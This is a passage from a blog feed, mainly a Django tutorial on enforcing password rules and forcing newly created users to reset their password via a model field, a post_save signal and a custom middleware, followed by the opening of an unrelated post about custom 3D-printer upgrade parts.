&lt;p&gt;I prefer placing this code under project site directory as it relates to user, authentication and the site settings &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;&amp;lt;project&amp;gt;/users/password_validation.py&lt;/span&gt;&lt;/tt&gt;. I added the full class path as a password validator in &lt;tt class="docutils literal"&gt;AUTH_PASSWORD_VALIDATORS&lt;/tt&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt; &lt;span class="n"&gt;AUTH_PASSWORD_VALIDATORS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
     &lt;span class="p"&gt;{&lt;/span&gt;
         &lt;span class="s1"&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;django.contrib.auth.password_validation.UserAttributeSimilarityValidator&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="p"&gt;},&lt;/span&gt;
     &lt;span class="p"&gt;{&lt;/span&gt;
         &lt;span class="s1"&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;django.contrib.auth.password_validation.MinimumLengthValidator&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
         &lt;span class="s1"&gt;&amp;#39;OPTIONS&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
             &lt;span class="s1"&gt;&amp;#39;min_length&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
         &lt;span class="p"&gt;}&lt;/span&gt;
     &lt;span class="p"&gt;},&lt;/span&gt;
     &lt;span class="p"&gt;{&lt;/span&gt;
         &lt;span class="s1"&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;django.contrib.auth.password_validation.CommonPasswordValidator&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="p"&gt;},&lt;/span&gt;
     &lt;span class="p"&gt;{&lt;/span&gt;
         &lt;span class="s1"&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;django.contrib.auth.password_validation.NumericPasswordValidator&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="hll"&gt;     &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;         &lt;span class="s1"&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;project&amp;gt;.users.password_validation.DigitLowerUpperValidator&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;     &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="forcing-password-reset"&gt;
&lt;h2&gt;Forcing password reset&lt;/h2&gt;
&lt;p&gt;This project already has custom user fields through AbstractUser, so I added a new user flag and overrode set_password logic by adding onto this existing customization.&lt;/p&gt;
&lt;p&gt;It is much easier to set up AbstractUser at the beginning of the project &lt;a class="footnote-reference" href="#footnote-2" id="footnote-reference-2"&gt;[2]&lt;/a&gt;, if you already using something else, switching to using AbstractUser implementation is somewhat involved &lt;a class="footnote-reference" href="#footnote-3" id="footnote-reference-3"&gt;[3]&lt;/a&gt;&lt;/p&gt;
&lt;div class="section" id="adding-fields-logic-to-abstractuser-implementation"&gt;
&lt;h3&gt;Adding fields &amp;amp; logic to AbstractUser implementation&lt;/h3&gt;
&lt;p&gt;The existing implementation is located directly in the site namespace &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;&amp;lt;project&amp;gt;/users/models.py&lt;/span&gt;&lt;/tt&gt;. Base implementation would be similar to this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.contrib.auth.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AbstractUser&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AbstractUser&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_absolute_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;users:detail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;username&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I need to add a property for keeping track of the state if the user has set the password themself, it could be as simple as adding boolean variable for the model, but if I ever get a requirement to use expiration date, everything would be much easier if I set this field as a date, allowing it to be nullable, as this is an optional feature.&lt;/p&gt;
&lt;p&gt;Then whenever the password is set by the user, the expiration field should be set to None &lt;a class="footnote-reference" href="#footnote-4" id="footnote-reference-4"&gt;[4]&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.contrib.auth.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AbstractUser&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.db&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AbstractUser&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

&lt;span class="hll"&gt;    &lt;span class="n"&gt;expiration&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DateTimeField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_absolute_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;users:detail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;username&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="hll"&gt;    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;set_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raw_password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expiration&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;        &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then I added auto-generated migration and applied them.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ python manage.py makemigrations
$ python manage.py migrate
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="catching-user-creation-events-with-signals"&gt;
&lt;h3&gt;Catching User creation events with Signals&lt;/h3&gt;
&lt;p&gt;The only way I could catch user creation event by the superuser, was to implement a receiver signal from User class creation event. &lt;a class="footnote-reference" href="#footnote-5" id="footnote-reference-5"&gt;[5]&lt;/a&gt; This is where the flag is set to redirect the user upon login. In this case the expiration date is now.&lt;/p&gt;
&lt;p&gt;This code is relevant to the user management and authentication, so I placed it in &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;&amp;lt;project&amp;gt;/users/signals.py&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pytz&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.conf&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.db.models.signals&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;post_save&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.dispatch&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;receiver&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;User&lt;/span&gt;

&lt;span class="n"&gt;current_tz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pytz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TIME_ZONE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@receiver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;post_save&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_user_profile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expiration&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_tz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="verifying-password-change-attribute-with-a-middleware-class"&gt;
&lt;h3&gt;Verifying password change attribute with a middleware class&lt;/h3&gt;
&lt;p&gt;Finally a middleware class is added to verify that the user gets redirected to password change anytime they successfully logged in and try to access any of the admin pages. &lt;a class="footnote-reference" href="#footnote-6" id="footnote-reference-6"&gt;[6]&lt;/a&gt; The middleware is placed directly into site namespace &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;&amp;lt;project&amp;gt;/middleware.py&lt;/span&gt;&lt;/tt&gt; and checks &lt;tt class="docutils literal"&gt;expiration&lt;/tt&gt; model property.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pytz&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.http.response&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;HttpResponseRedirect&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.conf&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;User&lt;/span&gt;


&lt;span class="n"&gt;current_tz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pytz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TIME_ZONE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AuthMiddleware&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;get_response&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_response&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__call__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;hasattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;url&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/admin/&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expiration&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expiration&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;astimezone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_tz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_tz&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;HttpResponseRedirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;redirect_to&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/admin/password_change&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then I added the middleware class to the MIDDLEWARE list in &lt;tt class="docutils literal"&gt;base.py&lt;/tt&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;MIDDLEWARE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;django.middleware.security.SecurityMiddleware&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;whitenoise.middleware.WhiteNoiseMiddleware&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;django.contrib.sessions.middleware.SessionMiddleware&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;django.middleware.locale.LocaleMiddleware&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;django.middleware.common.CommonMiddleware&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;django.middleware.csrf.CsrfViewMiddleware&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;django.contrib.auth.middleware.AuthenticationMiddleware&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;django.contrib.messages.middleware.MessageMiddleware&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;django.middleware.common.BrokenLinkEmailsMiddleware&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;django.middleware.clickjacking.XFrameOptionsMiddleware&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="hll"&gt;    &lt;span class="s2"&gt;&amp;quot;&amp;lt;project&amp;gt;.middleware.AuthMiddleware&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusion"&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I'm still looking for a more efficient way of implementing user expiration checking, that doesn't execute this middleware class on every request, something that could call only after user has been authenticated.&lt;/p&gt;
&lt;p&gt;In the end, forcing the user to change the password turned out to be surprisingly complicated and there might be an easier way of making this work.&lt;/p&gt;
&lt;img alt="Password change dialog where the user needs to retype the password." src="/images/2021-04-21/password-change-dialog.png" /&gt;
&lt;p&gt;One caveat, is that the user is presented with the dialog, where they need to enter password again, which is somewhat annoying.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="references"&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-1" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[1]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#enabling-password-validation"&gt;Enabling password validation in Django 3.0&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-2" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[2]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://docs.djangoproject.com/en/3.2/topics/auth/customizing/#using-a-custom-user-model-when-starting-a-project"&gt;Using a custom user model when starting a project&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-3" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[3]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://www.caktusgroup.com/blog/2019/04/26/how-switch-custom-django-user-model-mid-project/"&gt;How to switch to a Custom Django User model mid-project&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-4" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[4]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://www.djangosnippets.org/snippets/397/"&gt;Trigger a user password change&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-5" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[5]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://simpleisbetterthancomplex.com/tutorial/2016/07/28/how-to-create-django-signals.html"&gt;How to Create DJango Signals&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-6" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[6]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://docs.djangoproject.com/en/3.0/topics/http/middleware/#writing-your-own-middleware"&gt;Writing your own middleware&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</content><category term="django"></category><category term="python"></category><category term="django"></category><category term="security"></category></entry><entry><title>Bear Upgrade custom parts</title><link href="https://flamy.ca/blog/2021-04-09-bear-upgrade-custom-parts.html" rel="alternate"></link><published>2021-04-09T00:00:00-04:00</published><updated>2021-04-09T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2021-04-09:/blog/2021-04-09-bear-upgrade-custom-parts.html</id><summary type="html">&lt;p class="first last"&gt;Custom designs and non-standard STLs for my build&lt;/p&gt;
</summary><content type="html">&lt;div class="section" id="overview"&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;This is a companion part to the series of videos on assembling Bear Upgrade on my
Prusa MK2 clone.&lt;/p&gt;
&lt;p&gt;All of the parts can be found in &lt;a class="reference external" href="https://github.com/avolkov/bear_upgrade_custom_parts"&gt;bear_upgrade_custom_parts repo&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="custom-and-non-standard-parts"&gt;
&lt;h2&gt;Custom and Non-standard Parts&lt;/h2&gt;
&lt;div class="section" id="dowel-pin"&gt;
&lt;h3&gt;dowel_pin&lt;/h3&gt;
&lt;p&gt;3d-printed dowel pin.&lt;/p&gt;
